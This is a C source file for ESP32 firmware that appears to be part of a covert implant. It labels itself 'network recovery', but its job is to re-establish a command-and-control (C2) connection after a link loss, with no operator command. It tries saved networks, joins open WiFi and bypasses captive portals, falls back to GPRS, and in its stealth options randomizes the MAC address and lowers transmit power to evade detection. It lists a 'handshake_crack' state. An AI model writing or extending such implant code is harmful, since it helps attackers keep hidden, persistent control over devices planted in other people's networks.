/*
 * fb_hunt.c
 * Fallback hunt state machine — autonomous network recovery.
 * FreeRTOS task (8KB stack, Core 1).
 *
 * Pipeline: known networks → open WiFi + captive bypass → loop
 * No C2 commands needed — auto-triggered on TCP failure.
 */
#include "sdkconfig.h"
#include "fb_hunt.h"

#ifdef CONFIG_MODULE_FALLBACK

#include <string.h>
#include <stdio.h>
#include <stdatomic.h>

#include "esp_log.h"
#include "esp_wifi.h"
#include "esp_event.h"
#include "esp_netif.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/event_groups.h"
#include "lwip/sockets.h"
#include "lwip/netdb.h"

#include "utils.h"
#include "fb_config.h"
#include "fb_stealth.h"
#include "fb_captive.h"

static const char *TAG = "FB_HUNT";

#define FB_HUNT_STACK      8192
#define FB_HUNT_PRIO       6
#define FB_WIFI_TIMEOUT_MS 8000
#define FB_TCP_TIMEOUT_S   5
#define FB_RESCAN_DELAY_S  60

/* Event bits for WiFi events */
#define FB_EVT_GOT_IP     BIT0
#define FB_EVT_DISCONNECT BIT1

/* ============================================================
 * State
 * ============================================================ */

static volatile fb_state_t s_state = FB_IDLE;
static char s_connected_ssid[33] = {0};
static char s_connected_method[16] = {0};
static atomic_bool s_active = false;
static TaskHandle_t s_task_handle = NULL;
static EventGroupHandle_t s_evt_group = NULL;

/* Mutex protecting s_state, s_connected_ssid, s_connected_method */
static SemaphoreHandle_t s_state_mutex = NULL;

/* Skip GPRS strategy (set by gprs_client_task to avoid GPRS→hunt→GPRS loop) */
static bool s_skip_gprs = false;

static inline void state_lock(void) {
    if (s_state_mutex) xSemaphoreTake(s_state_mutex, portMAX_DELAY);
}
static inline void state_unlock(void) {
    if (s_state_mutex) xSemaphoreGive(s_state_mutex);
}

/* Saved original WiFi config for restore */
static wifi_config_t s_orig_wifi_config;
static bool s_orig_config_saved = false;

/* State name lookup */
static const char *state_names[] = {
    [FB_IDLE]            = "idle",
    [FB_STEALTH_PREP]    = "stealth_prep",
    [FB_PASSIVE_SCAN]    = "passive_scan",
    [FB_TRYING_KNOWN]    = "trying_known",
    [FB_TRYING_OPEN]     = "trying_open",
    [FB_PORTAL_CHECK]    = "portal_check",
    [FB_PORTAL_BYPASS]   = "portal_bypass",
    [FB_C2_VERIFY]       = "c2_verify",
    [FB_HANDSHAKE_CRACK] = "handshake_crack",
    [FB_GPRS_DIRECT]     = "gprs_direct",
    [FB_CONNECTED]       = "connected",
};

/* ============================================================
 * WiFi event handler for hunt (registered dynamically)
 * ============================================================ */

static void fb_wifi_event_handler(void *arg, esp_event_base_t base,
                                   int32_t id, void *data)
{
    if (!s_evt_group) return;

    if (base == IP_EVENT && id == IP_EVENT_STA_GOT_IP) {
        xEventGroupSetBits(s_evt_group, FB_EVT_GOT_IP);
    }
    if (base == WIFI_EVENT && id == WIFI_EVENT_STA_DISCONNECTED) {
        xEventGroupSetBits(s_evt_group, FB_EVT_DISCONNECT);
    }
}

/* ============================================================
 * Helpers
 * ============================================================ */

static void set_state(fb_state_t new_state)
{
    state_lock();
    s_state = new_state;
    state_unlock();
    ESP_LOGI(TAG, "→ %s", state_names[new_state]);
}

/* Try to connect to a WiFi network. Returns true if got IP. */
static bool wifi_try_connect(const char *ssid, const char *pass, int timeout_ms)
{
    wifi_config_t cfg = {0};
    strncpy((char *)cfg.sta.ssid, ssid, sizeof(cfg.sta.ssid) - 1);
    if (pass && pass[0]) {
        strncpy((char *)cfg.sta.password, pass, sizeof(cfg.sta.password) - 1);
    }

    esp_wifi_disconnect();
    vTaskDelay(pdMS_TO_TICKS(200));

    esp_err_t err = esp_wifi_set_config(WIFI_IF_STA, &cfg);
    if (err != ESP_OK) {
        ESP_LOGE(TAG, "WiFi set_config failed: %s", esp_err_to_name(err));
        return false;
    }

    xEventGroupClearBits(s_evt_group, FB_EVT_GOT_IP | FB_EVT_DISCONNECT);
    esp_wifi_connect();

    EventBits_t bits = xEventGroupWaitBits(
        s_evt_group,
        FB_EVT_GOT_IP | FB_EVT_DISCONNECT,
        pdTRUE,    /* clear on exit */
        pdFALSE,   /* any bit */
        pdMS_TO_TICKS(timeout_ms)
    );

    if (bits & FB_EVT_GOT_IP) {
        ESP_LOGI(TAG, "Got IP on '%s'", ssid);
        return true;
    }

    ESP_LOGW(TAG, "WiFi connect to '%s' failed/timed out", ssid);
    return false;
}

/* Try TCP connect to C2. Returns true if reachable. */
static bool tcp_try_c2(const char *ip, int port)
{
    struct sockaddr_in addr = {0};
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);
    addr.sin_addr.s_addr = inet_addr(ip);

    int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
    if (s < 0) return false;

    struct timeval tv = { .tv_sec = FB_TCP_TIMEOUT_S, .tv_usec = 0 };
    lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));

    int ret = lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr));
    lwip_close(s);

    if (ret == 0) {
        ESP_LOGI(TAG, "C2 reachable at %s:%d", ip, port);
        return true;
    }

    return false;
}

/* Try C2 primary + fallbacks. Returns true if any reachable. */
static bool verify_c2_reachable(void)
{
    set_state(FB_C2_VERIFY);

    /* Try primary C2 */
    if (tcp_try_c2(CONFIG_SERVER_IP, CONFIG_SERVER_PORT)) {
        return true;
    }

    /* Try NVS fallback addresses */
    fb_c2_addr_t addrs[CONFIG_FB_MAX_C2_FALLBACKS];
    int count = fb_config_c2_list(addrs, CONFIG_FB_MAX_C2_FALLBACKS);

    for (int i = 0; i < count; i++) {
        char ip_buf[48];
        int port = CONFIG_SERVER_PORT;
        strncpy(ip_buf, addrs[i].addr, sizeof(ip_buf) - 1);
        ip_buf[sizeof(ip_buf) - 1] = '\0';

        char *colon = strrchr(ip_buf, ':');
        if (colon) {
            *colon = '\0';
            port = atoi(colon + 1);
            if (port <= 0 || port > 65535) port = CONFIG_SERVER_PORT;
        }

        if (tcp_try_c2(ip_buf, port)) {
            return true;
        }
    }

    ESP_LOGW(TAG, "C2 unreachable (primary + %d fallbacks)", count);
    return false;
}

/* Mark successful connection */
static void mark_connected(const char *ssid, const char *method)
{
    state_lock();
    strncpy(s_connected_ssid, ssid, sizeof(s_connected_ssid) - 1);
    s_connected_ssid[sizeof(s_connected_ssid) - 1] = '\0';
    strncpy(s_connected_method, method, sizeof(s_connected_method) - 1);
    s_connected_method[sizeof(s_connected_method) - 1] = '\0';
    state_unlock();
    set_state(FB_CONNECTED);

    ESP_LOGI(TAG, "Connected via %s: '%s'", method, ssid);
}

/* ============================================================
 * WiFi scan
 * ============================================================ */

typedef struct {
    char     ssid[33];
    uint8_t  bssid[6];
    int8_t   rssi;
    uint8_t  channel;
    wifi_auth_mode_t authmode;
} fb_candidate_t;

#define FB_MAX_CANDIDATES 32

static fb_candidate_t s_candidates[FB_MAX_CANDIDATES];
static int s_candidate_count = 0;

static void do_wifi_scan(void)
{
    s_candidate_count = 0;

    esp_wifi_disconnect();
    vTaskDelay(pdMS_TO_TICKS(200));

    wifi_scan_config_t scan_cfg = {
        .ssid = NULL,
        .bssid = NULL,
        .channel = 0,
        .show_hidden = true,
        .scan_type = WIFI_SCAN_TYPE_ACTIVE,
        .scan_time = {
            .active = { .min = 120, .max = 300 },
        },
    };

    esp_err_t err = esp_wifi_scan_start(&scan_cfg, true);
    if (err != ESP_OK) {
        ESP_LOGE(TAG, "WiFi scan failed: %s", esp_err_to_name(err));
        return;
    }

    uint16_t ap_count = 0;
    esp_wifi_scan_get_ap_num(&ap_count);
    if (ap_count == 0) {
        ESP_LOGW(TAG, "Scan: 0 APs found");
        return;
    }

    if (ap_count > FB_MAX_CANDIDATES) ap_count = FB_MAX_CANDIDATES;

    wifi_ap_record_t *records = malloc(ap_count * sizeof(wifi_ap_record_t));
    if (!records) {
        esp_wifi_clear_ap_list();
        return;
    }

    esp_wifi_scan_get_ap_records(&ap_count, records);

    for (int i = 0; i < ap_count; i++) {
        fb_candidate_t *c = &s_candidates[s_candidate_count];
        strncpy(c->ssid, (char *)records[i].ssid, sizeof(c->ssid) - 1);
        c->ssid[sizeof(c->ssid) - 1] = '\0';
        memcpy(c->bssid, records[i].bssid, 6);
        c->rssi = records[i].rssi;
        c->channel = records[i].primary;
        c->authmode = records[i].authmode;
        s_candidate_count++;
    }

    free(records);
    ESP_LOGI(TAG, "Scan: %d APs found", s_candidate_count);
}

/* ============================================================
 * Strategy 1: Try known networks (original WiFi + NVS)
 * ============================================================ */

static bool try_known_networks(void)
{
    set_state(FB_TRYING_KNOWN);

    /* Try original WiFi config first (the one we were connected to) */
    if (s_orig_config_saved && s_orig_wifi_config.sta.ssid[0]) {
        ESP_LOGI(TAG, "Trying original WiFi: '%s'",
                 (char *)s_orig_wifi_config.sta.ssid);

#ifdef CONFIG_FB_STEALTH
        fb_stealth_randomize_mac();
#endif

        if (wifi_try_connect((char *)s_orig_wifi_config.sta.ssid,
                             (char *)s_orig_wifi_config.sta.password,
                             FB_WIFI_TIMEOUT_MS)) {
            if (verify_c2_reachable()) {
                mark_connected((char *)s_orig_wifi_config.sta.ssid, "original");
                return true;
            }
            ESP_LOGW(TAG, "Original WiFi connected but C2 unreachable");
        }
    }

    /* Then try NVS known networks */
    fb_network_t nets[CONFIG_FB_MAX_KNOWN_NETWORKS];
    int net_count = fb_config_net_list(nets, CONFIG_FB_MAX_KNOWN_NETWORKS);

    if (net_count == 0) {
        ESP_LOGI(TAG, "No additional known networks in NVS");
        return false;
    }

    for (int n = 0; n < net_count; n++) {
        ESP_LOGI(TAG, "Trying known: '%s'", nets[n].ssid);

#ifdef CONFIG_FB_STEALTH
        fb_stealth_randomize_mac();
#endif

        if (wifi_try_connect(nets[n].ssid, nets[n].pass, FB_WIFI_TIMEOUT_MS)) {
            if (verify_c2_reachable()) {
                mark_connected(nets[n].ssid, "known");
                return true;
            }
            ESP_LOGW(TAG, "'%s' connected but C2 unreachable", nets[n].ssid);
        }
    }

    return false;
}

/* ============================================================
 * Strategy 2: Try open WiFi networks + captive portal bypass
 * ============================================================ */

static bool try_open_networks(void)
{
    set_state(FB_TRYING_OPEN);

    for (int i = 0; i < s_candidate_count; i++) {
        if (s_candidates[i].authmode != WIFI_AUTH_OPEN)
            continue;
        if (s_candidates[i].ssid[0] == '\0')
            continue;  /* hidden */

        ESP_LOGI(TAG, "Trying open: '%s' (RSSI=%d)",
                 s_candidates[i].ssid, s_candidates[i].rssi);

#ifdef CONFIG_FB_STEALTH
        fb_stealth_randomize_mac();
#endif

        if (wifi_try_connect(s_candidates[i].ssid, "", FB_WIFI_TIMEOUT_MS)) {
            /* Check for captive portal */
            set_state(FB_PORTAL_CHECK);
            fb_portal_status_t portal = fb_captive_detect();

            if (portal == FB_PORTAL_NONE) {
                if (verify_c2_reachable()) {
                    mark_connected(s_candidates[i].ssid, "open");
                    return true;
                }
            } else if (portal == FB_PORTAL_DETECTED) {
                set_state(FB_PORTAL_BYPASS);
                if (fb_captive_bypass()) {
                    if (verify_c2_reachable()) {
                        mark_connected(s_candidates[i].ssid, "open+portal");
                        return true;
                    }
                }
                ESP_LOGW(TAG, "Portal bypass failed for '%s'",
                         s_candidates[i].ssid);
            } else {
                /* FB_PORTAL_UNKNOWN — try C2 directly anyway */
                if (verify_c2_reachable()) {
                    mark_connected(s_candidates[i].ssid, "open");
                    return true;
                }
            }
        }
    }

    return false;
}

/* ============================================================
 * Hunt task — main state machine
 * ============================================================ */

extern atomic_bool fb_active;  /* defined in WiFi.c */

#ifdef CONFIG_NETWORK_WIFI
extern void wifi_pause_reconnect(void);
extern void wifi_resume_reconnect(void);
#endif

/* ============================================================
 * WiFi lazy init (for GPRS primary mode)
 * ============================================================ */
#ifdef CONFIG_FB_WIFI_FALLBACK
static bool s_wifi_inited = false;

static void ensure_wifi_init(void)
{
    if (!s_wifi_inited) {
        ESP_LOGI(TAG, "Lazy WiFi init for GPRS fallback");
        extern void wifi_init(void);
        wifi_init();
        s_wifi_inited = true;
        vTaskDelay(pdMS_TO_TICKS(2000));
    }
}
#endif

/* ============================================================
 * Strategy 3: GPRS direct (WiFi primary mode only)
 * ============================================================ */
#ifdef CONFIG_FB_GPRS_FALLBACK

static bool try_gprs_direct(void)
{
    if (s_skip_gprs) {
        ESP_LOGI(TAG, "GPRS strategy skipped (came from GPRS)");
        return false;
    }

    set_state(FB_GPRS_DIRECT);
    ESP_LOGI(TAG, "Trying GPRS direct connection");

    setup_uart();
    setup_modem();

    if (!connect_gprs() || !connect_tcp()) {
        close_tcp_connection();
        ESP_LOGW(TAG, "GPRS direct failed");
        return false;
    }

    mark_connected("GPRS", "gprs");

    /* Mini RX loop via GPRS — stays here until hunt is stopped */
    while (s_active) {
        gprs_rx_poll();
        vTaskDelay(pdMS_TO_TICKS(10));
    }

    close_tcp_connection();
    return false;  /* Hunt was stopped externally */
}

#endif /* CONFIG_FB_GPRS_FALLBACK */

static void hunt_task(void *arg)
{
    (void)arg;
    ESP_LOGI(TAG, "Fallback hunt task started");

#ifdef CONFIG_FB_WIFI_FALLBACK
    /* In GPRS mode, WiFi may not be initialized yet */
    ensure_wifi_init();
#endif

    /* Save MAC before we randomize it */
    fb_stealth_save_original_mac();
    fb_config_save_orig_mac();

    /* Save original WiFi config */
    if (!s_orig_config_saved) {
        esp_wifi_get_config(WIFI_IF_STA, &s_orig_wifi_config);
        s_orig_config_saved = true;
    }

    /* Take control of WiFi from normal reconnect logic */
    fb_active = true;
#ifdef CONFIG_NETWORK_WIFI
    wifi_pause_reconnect();
#endif

    /* Register our event handler */
    esp_event_handler_register(IP_EVENT, IP_EVENT_STA_GOT_IP,
                                &fb_wifi_event_handler, NULL);
    esp_event_handler_register(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
                                &fb_wifi_event_handler, NULL);

    while (s_active) {

        /* ---- STEALTH PREP ---- */
#ifdef CONFIG_FB_STEALTH
        set_state(FB_STEALTH_PREP);
        fb_stealth_randomize_mac();
        fb_stealth_low_tx_power();
        vTaskDelay(pdMS_TO_TICKS(100));
#endif

        /* ---- SCAN ---- */
        set_state(FB_PASSIVE_SCAN);
        do_wifi_scan();

        /* ---- STRATEGY 1: Known networks ---- */
        if (s_active && try_known_networks()) break;

        /* ---- STRATEGY 2: Open networks + captive portal ---- */
        if (s_active && try_open_networks()) break;

#ifdef CONFIG_FB_GPRS_FALLBACK
        /* ---- STRATEGY 3: GPRS direct (last resort) ---- */
        if (s_active && try_gprs_direct()) break;
#endif

        /* ---- All strategies failed — wait and rescan ---- */
        if (!s_active) break;

        ESP_LOGW(TAG, "All strategies exhausted — wait %ds and rescan",
                 FB_RESCAN_DELAY_S);
        set_state(FB_IDLE);

        for (int i = 0; i < FB_RESCAN_DELAY_S && s_active; i++) {
            vTaskDelay(pdMS_TO_TICKS(1000));
        }
    }

    /* ---- Cleanup ---- */

    esp_event_handler_unregister(IP_EVENT, IP_EVENT_STA_GOT_IP,
                                  &fb_wifi_event_handler);
    esp_event_handler_unregister(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
                                  &fb_wifi_event_handler);

    if (s_state == FB_CONNECTED) {
#ifdef CONFIG_FB_STEALTH
        fb_stealth_restore_tx_power();
#endif
        fb_active = false;
#ifdef CONFIG_NETWORK_WIFI
        wifi_resume_reconnect();
#endif
        ESP_LOGI(TAG, "Hunt complete — handing off to client task");
    } else {
        /* Restore original WiFi config */
#ifdef CONFIG_FB_STEALTH
        fb_stealth_restore_mac();
        fb_stealth_restore_tx_power();
#endif
        if (s_orig_config_saved) {
            esp_wifi_set_config(WIFI_IF_STA, &s_orig_wifi_config);
        }
        fb_active = false;
#ifdef CONFIG_NETWORK_WIFI
        wifi_resume_reconnect();
#endif
        esp_wifi_connect();
        ESP_LOGI(TAG, "Hunt stopped — restoring original WiFi");
    }

    s_task_handle = NULL;
    vTaskDelete(NULL);
}

/* ============================================================
 * Public API
 * ============================================================ */

const char *fb_hunt_state_name(fb_state_t state)
{
    if (state <= FB_CONNECTED)
        return state_names[state];
    return "unknown";
}

fb_state_t fb_hunt_get_state(void)
{
    state_lock();
    fb_state_t st = s_state;
    state_unlock();
    return st;
}

bool fb_hunt_is_active(void)
{
    return s_active;
}

const char *fb_hunt_connected_ssid(void)
{
    static char ssid_copy[33];
    state_lock();
    memcpy(ssid_copy, s_connected_ssid, sizeof(ssid_copy));
    state_unlock();
    return ssid_copy;
}

const char *fb_hunt_connected_method(void)
{
    static char method_copy[16];
    state_lock();
    memcpy(method_copy, s_connected_method, sizeof(method_copy));
    state_unlock();
    return method_copy;
}

void fb_hunt_init(void)
{
    if (!s_state_mutex) {
        s_state_mutex = xSemaphoreCreateMutex();
    }
    if (!s_evt_group) {
        s_evt_group = xEventGroupCreate();
    }
    ESP_LOGI(TAG, "Hunt init done");
}

void fb_hunt_set_skip_gprs(bool skip)
{
    s_skip_gprs = skip;
}

void fb_hunt_trigger(void)
{
    if (s_active) {
        ESP_LOGW(TAG, "Hunt already active");
        return;
    }

    /* Ensure init (safety net if called before register_commands) */
    fb_hunt_init();

    s_skip_gprs = false;  /* Reset per-hunt */
    s_active = true;

    state_lock();
    s_state = FB_IDLE;
    s_connected_ssid[0] = '\0';
    s_connected_method[0] = '\0';
    state_unlock();

    BaseType_t ret = xTaskCreatePinnedToCore(
        hunt_task,
        "fb_hunt",
        FB_HUNT_STACK,
        NULL,
        FB_HUNT_PRIO,
        &s_task_handle,
        1    /* Core 1 */
    );

    if (ret != pdPASS) {
        ESP_LOGE(TAG, "Failed to create hunt task");
        s_active = false;
    }
}

void fb_hunt_stop(void)
{
    if (!s_active) return;

    s_active = false;

    for (int i = 0; i < 50 && s_task_handle != NULL; i++) {
        vTaskDelay(pdMS_TO_TICKS(100));
    }

    /* Only reset state if task actually exited */
    if (s_task_handle == NULL) {
        state_lock();
        s_state = FB_IDLE;
        s_connected_ssid[0] = '\0';
        s_connected_method[0] = '\0';
        state_unlock();
    } else {
        ESP_LOGW(TAG, "Hunt task did not exit in time");
    }

    ESP_LOGI(TAG, "Hunt stopped");
}

#endif /* CONFIG_MODULE_FALLBACK */